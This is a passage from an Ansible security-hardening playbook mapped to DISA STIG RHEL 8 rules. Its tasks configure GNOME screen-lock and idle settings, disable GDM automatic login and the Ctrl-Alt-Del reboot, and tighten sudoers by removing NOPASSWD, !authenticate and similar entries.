    - dconf_gnome_lock_screen_on_smartcard_removal_lock_files is defined and dconf_gnome_lock_screen_on_smartcard_removal_lock_files.matched
      &gt; 0
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update - removal-action
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - default_file is changed or existing_files is changed
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Disable GDM Automatic Login
    community.general.ini_file:
      dest: /etc/gdm/custom.conf
      section: daemon
      option: AutomaticLoginEnable
      value: 'false'
      no_extra_spaces: true
      create: true
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010820
    - NIST-800-171-3.1.1
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.1
    - gnome_gdm_disable_automatic_login
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed
    - unknown_strategy

  - name: Set GNOME3 Screensaver Inactivity Timeout
    community.general.ini_file:
      dest: /etc/dconf/db/local.d/00-security-settings
      section: org/gnome/desktop/session
      option: idle-delay
      value: uint32 {{ inactivity_timeout_value }}
      create: true
      no_extra_spaces: true
    register: result_ini
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020060
    - NIST-800-171-3.1.10
    - NIST-800-53-AC-11(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_idle_delay
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_ini is changed
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020060
    - NIST-800-171-3.1.10
    - NIST-800-53-AC-11(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_idle_delay
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Set GNOME3 Screensaver Lock Delay After Activation Period
    community.general.ini_file:
      dest: /etc/dconf/db/local.d/00-security-settings
      section: org/gnome/desktop/screensaver
      option: lock-delay
      value: uint32 {{ var_screensaver_lock_delay }}
      create: true
      no_extra_spaces: true
    register: result_ini
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020031
    - NIST-800-171-3.1.10
    - NIST-800-53-AC-11(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_delay
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_ini is changed
    tags:
    - DISA-STIG-RHEL-08-020031
    - NIST-800-171-3.1.10
    - NIST-800-53-AC-11(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_delay
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Enable GNOME3 Screensaver
      Lock After Idle Period
    community.general.ini_file:
      dest: /etc/dconf/db/local.d/00-security-settings
      section: org/gnome/desktop/screensaver
      option: lock-enabled
      value: 'true'
      create: true
      no_extra_spaces: true
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution != 'SLES'
    register: screensaver_config
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Prevent user modification
      of GNOME lock-enabled
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/local.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/desktop/screensaver/lock-enabled$
      line: /org/gnome/desktop/screensaver/lock-enabled
      create: true
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution != 'SLES'
    register: screensaver_lock
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Enable GNOME3 Screensaver
      Lock After Idle Period
    community.general.ini_file:
      dest: /etc/dconf/db/gdm.d/00-security-settings
      section: org/gnome/desktop/lockdown
      option: disable-lock-screen
      value: 'false'
      create: true
      no_extra_spaces: true
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution == 'SLES'
    register: lockdown_config
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Prevent user modification
      of GNOME disable-lock-screen
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/gdm.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/desktop/lockdown/disable-lock-screen$
      line: /org/gnome/desktop/lockdown/disable-lock-screen
      create: true
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution == 'SLES'
    register: lockdown_lock
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Check GNOME3 screenserver
      disable-lock-screen false
    ansible.builtin.command: gsettings get org.gnome.desktop.lockdown disable-lock-screen
    register: cmd_out
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution == 'SLES'
    changed_when: false
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Update GNOME3 screenserver
      disable-lock-screen false
    ansible.builtin.command: gsettings set org.gnome.desktop.lockdown disable-lock-screen
      false
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution == 'SLES'
    - cmd_out.stdout != 'false'
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Update dconf database
      for non-SLES systems
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution != 'SLES'
    - (screensaver_config is changed or screensaver_lock is changed)
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Screensaver Lock After Idle Period - Update dconf database
      for SLES systems
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - ansible_distribution == 'SLES'
    - (lockdown_config is changed or lockdown_lock is changed)
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020030
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_screensaver_lock_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of GNOME Screensaver lock-enabled
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/local.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/desktop/screensaver/lock-enabled$
      line: /org/gnome/desktop/screensaver/lock-enabled
      create: true
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020082
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - dconf_gnome_screensaver_lock_locked
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_lineinfile is changed
    tags:
    - CJIS-5.5.5
    - DISA-STIG-RHEL-08-020082
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - dconf_gnome_screensaver_lock_locked
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of GNOME lock-delay
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/local.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/desktop/screensaver/lock-delay$
      line: /org/gnome/desktop/screensaver/lock-delay
      create: true
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020080
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - dconf_gnome_screensaver_user_locks
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_lineinfile is changed
    tags:
    - DISA-STIG-RHEL-08-020080
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - dconf_gnome_screensaver_user_locks
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of GNOME Session idle-delay
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/local.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/desktop/session/idle-delay$
      line: /org/gnome/desktop/session/idle-delay
      create: true
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020081
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_session_idle_user_locks
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_lineinfile is changed
    tags:
    - DISA-STIG-RHEL-08-020081
    - NIST-800-171-3.1.10
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - dconf_gnome_session_idle_user_locks
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Disable Ctrl-Alt-Del Reboot Key Sequence in GNOME3
    community.general.ini_file:
      dest: /etc/dconf/db/local.d/00-security-settings
      section: org/gnome/settings-daemon/plugins/media-keys
      option: logout
      value: '['''']'
      create: true
      no_extra_spaces: true
    register: result_ini
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040171
    - NIST-800-171-3.1.2
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(b)
    - dconf_gnome_disable_ctrlaltdel_reboot
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of GNOME disablement of Ctrl-Alt-Del
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/local.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/settings-daemon/plugins/media-keys/logout$
      line: /org/gnome/settings-daemon/plugins/media-keys/logout
      create: true
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040171
    - NIST-800-171-3.1.2
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(b)
    - dconf_gnome_disable_ctrlaltdel_reboot
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_ini is changed or result_lineinfile is changed
    tags:
    - DISA-STIG-RHEL-08-040171
    - NIST-800-171-3.1.2
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(b)
    - dconf_gnome_disable_ctrlaltdel_reboot
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed
    - unknown_strategy

  - name: Find /etc/sudoers.d/ files
    ansible.builtin.find:
      paths:
      - /etc/sudoers.d/
    register: sudoers
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010381
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-11
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_remove_no_authenticate

  - name: Remove lines containing !authenticate from sudoers files
    ansible.builtin.replace:
      regexp: (^(?!#).*[\s]+\!authenticate.*$)
      replace: '# \g&lt;1&gt;'
      path: '{{ item.path }}'
      validate: /usr/sbin/visudo -cf %s
    with_items:
    - path: /etc/sudoers
    - '{{ sudoers.files }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010381
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-11
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_remove_no_authenticate

  - name: Find /etc/sudoers.d/ files
    ansible.builtin.find:
      paths:
      - /etc/sudoers.d/
    register: sudoers
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010380
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-11
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_remove_nopasswd

  - name: Remove lines containing NOPASSWD from sudoers files
    ansible.builtin.replace:
      regexp: (^(?!#).*[\s]+NOPASSWD[\s]*\:.*$)
      replace: '# \g&lt;1&gt;'
      path: '{{ item.path }}'
      validate: /usr/sbin/visudo -cf %s
    with_items:
    - path: /etc/sudoers
    - '{{ sudoers.files }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010380
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-11
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_remove_nopasswd

  - name: Require Re-Authentication When Using the sudo Command - Find /etc/sudoers.d/*
      files containing 'Defaults timestamp_timeout'
    ansible.builtin.find:
      path: /etc/sudoers.d
      patterns: '*'
      contains: ^[\s]*Defaults\s.*\btimestamp_timeout[\s]*=.*
    register: sudoers_d_defaults_timestamp_timeout
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010384
    - NIST-800-53-IA-11
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_require_reauthentication

  - name: Require Re-Authentication When Using the sudo Command - Remove 'Defaults
      timestamp_timeout' from /etc/sudoers.d/* files
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^[\s]*Defaults\s.*\btimestamp_timeout[\s]*=.*
      state: absent
    with_items: '{{ sudoers_d_defaults_timestamp_timeout.files }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010384
    - NIST-800-53-IA-11
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_require_reauthentication

  - name: Require Re-Authentication When Using the sudo Command - Ensure timestamp_timeout
      has the appropriate value in /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      regexp: ^[\s]*Defaults\s(.*)\btimestamp_timeout[\s]*=[\s]*[-]?\w+\b(.*)$
      line: Defaults \1timestamp_timeout={{ var_sudo_timestamp_timeout }}\2
      validate: /usr/sbin/visudo -cf %s
      backrefs: true
    register: edit_sudoers_timestamp_timeout_option
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010384
    - NIST-800-53-IA-11
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_require_reauthentication

  - name: Require Re-Authentication When Using the sudo Command - Enable timestamp_timeout
      option with correct value in /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      line: Defaults timestamp_timeout={{ var_sudo_timestamp_timeout }}
      validate: /usr/sbin/visudo -cf %s
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    - |
      edit_sudoers_timestamp_timeout_option is defined and not edit_sudoers_timestamp_timeout_option.changed
    tags:
    - DISA-STIG-RHEL-08-010384
    - NIST-800-53-IA-11
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_require_reauthentication

  - name: Require Re-Authentication When Using the sudo Command - Remove timestamp_timeout
      wrong values in /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      regexp: ^[\s]*Defaults\s.*\btimestamp_timeout[\s]*=[\s]*(?!{{ var_sudo_timestamp_timeout
        }}\b)[-]?\w+\b.*$
      state: absent
      validate: /usr/sbin/visudo -cf %s
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010384
    - NIST-800-53-IA-11
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudo_require_reauthentication

  - name: Check for duplicate values
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^#includedir.*$
      state: absent
    check_mode: true
    changed_when: false
    register: dupes
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Deduplicate values from /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^#includedir.*$
      state: absent
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - dupes.found is defined and dupes.found &gt; 1
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Insert correct line into /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^#includedir.*$
      line: '#includedir /etc/sudoers.d'
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Ensure sudoers doesn't include other non-default file
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^[#@]include[\s]+.*$
      state: absent
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Ensure sudoers doesn't have non-default includedir
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^@includedir[\s]+.*$
      state: absent
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Find out if /etc/sudoers.d/* files contain file or directory includes
    ansible.builtin.find:
      path: /etc/sudoers.d
      patterns: '*'
      contains: ^[#@]include(dir)?\s.*$
    register: sudoers_d_includes
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Remove found occurrences of file and directory includes from /etc/sudoers.d/*
      files
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^[#@]include(dir)?\s.*$
      state: absent
    with_items: '{{ sudoers_d_includes.files }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010379
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sudoers_default_includedir

  - name: Find out if /etc/sudoers.d/* files contain Defaults targetpw to be deduplicated
    ansible.builtin.find:
      path: /etc/sudoers.d
      patterns: '*'
      contains: ^Defaults targetpw$
    register: sudoers_d_defaults
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Remove found occurrences of Defaults targetpw from /etc/sudoers.d/* files
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^Defaults targetpw$
      state: absent
    with_items: '{{ sudoers_d_defaults.files }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Find out if /etc/sudoers.d/* files contain Defaults rootpw to be deduplicated
    ansible.builtin.find:
      path: /etc/sudoers.d
      patterns: '*'
      contains: ^Defaults rootpw$
    register: sudoers_d_defaults
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Remove found occurrences of Defaults rootpw from /etc/sudoers.d/* files
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^Defaults rootpw$
      state: absent
    with_items: '{{ sudoers_d_defaults.files }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Find out if /etc/sudoers.d/* files contain Defaults runaspw to be deduplicated
    ansible.builtin.find:
      path: /etc/sudoers.d
      patterns: '*'
      contains: ^Defaults runaspw$
    register: sudoers_d_defaults
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Remove found occurrences of Defaults runaspw from /etc/sudoers.d/* files
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^Defaults runaspw$
      state: absent
    with_items: '{{ sudoers_d_defaults.files }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Remove any occurrences of Defaults targetpw in /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      regexp: ^Defaults targetpw$
      validate: /usr/sbin/visudo -cf %s
      state: absent
    register: sudoers_file_defaults
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Remove any occurrences of Defaults rootpw in /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      regexp: ^Defaults rootpw$
      validate: /usr/sbin/visudo -cf %s
      state: absent
    register: sudoers_file_defaults
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Remove any occurrences of Defaults runaspw in /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      regexp: ^Defaults runaspw$
      validate: /usr/sbin/visudo -cf %s
      state: absent
    register: sudoers_file_defaults
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Check for duplicate values
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !targetpw$
      state: absent
    check_mode: true
    changed_when: false
    register: dupes
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Deduplicate values from /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !targetpw$
      state: absent
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    - dupes.found is defined and dupes.found &gt; 1
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Insert correct line into /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
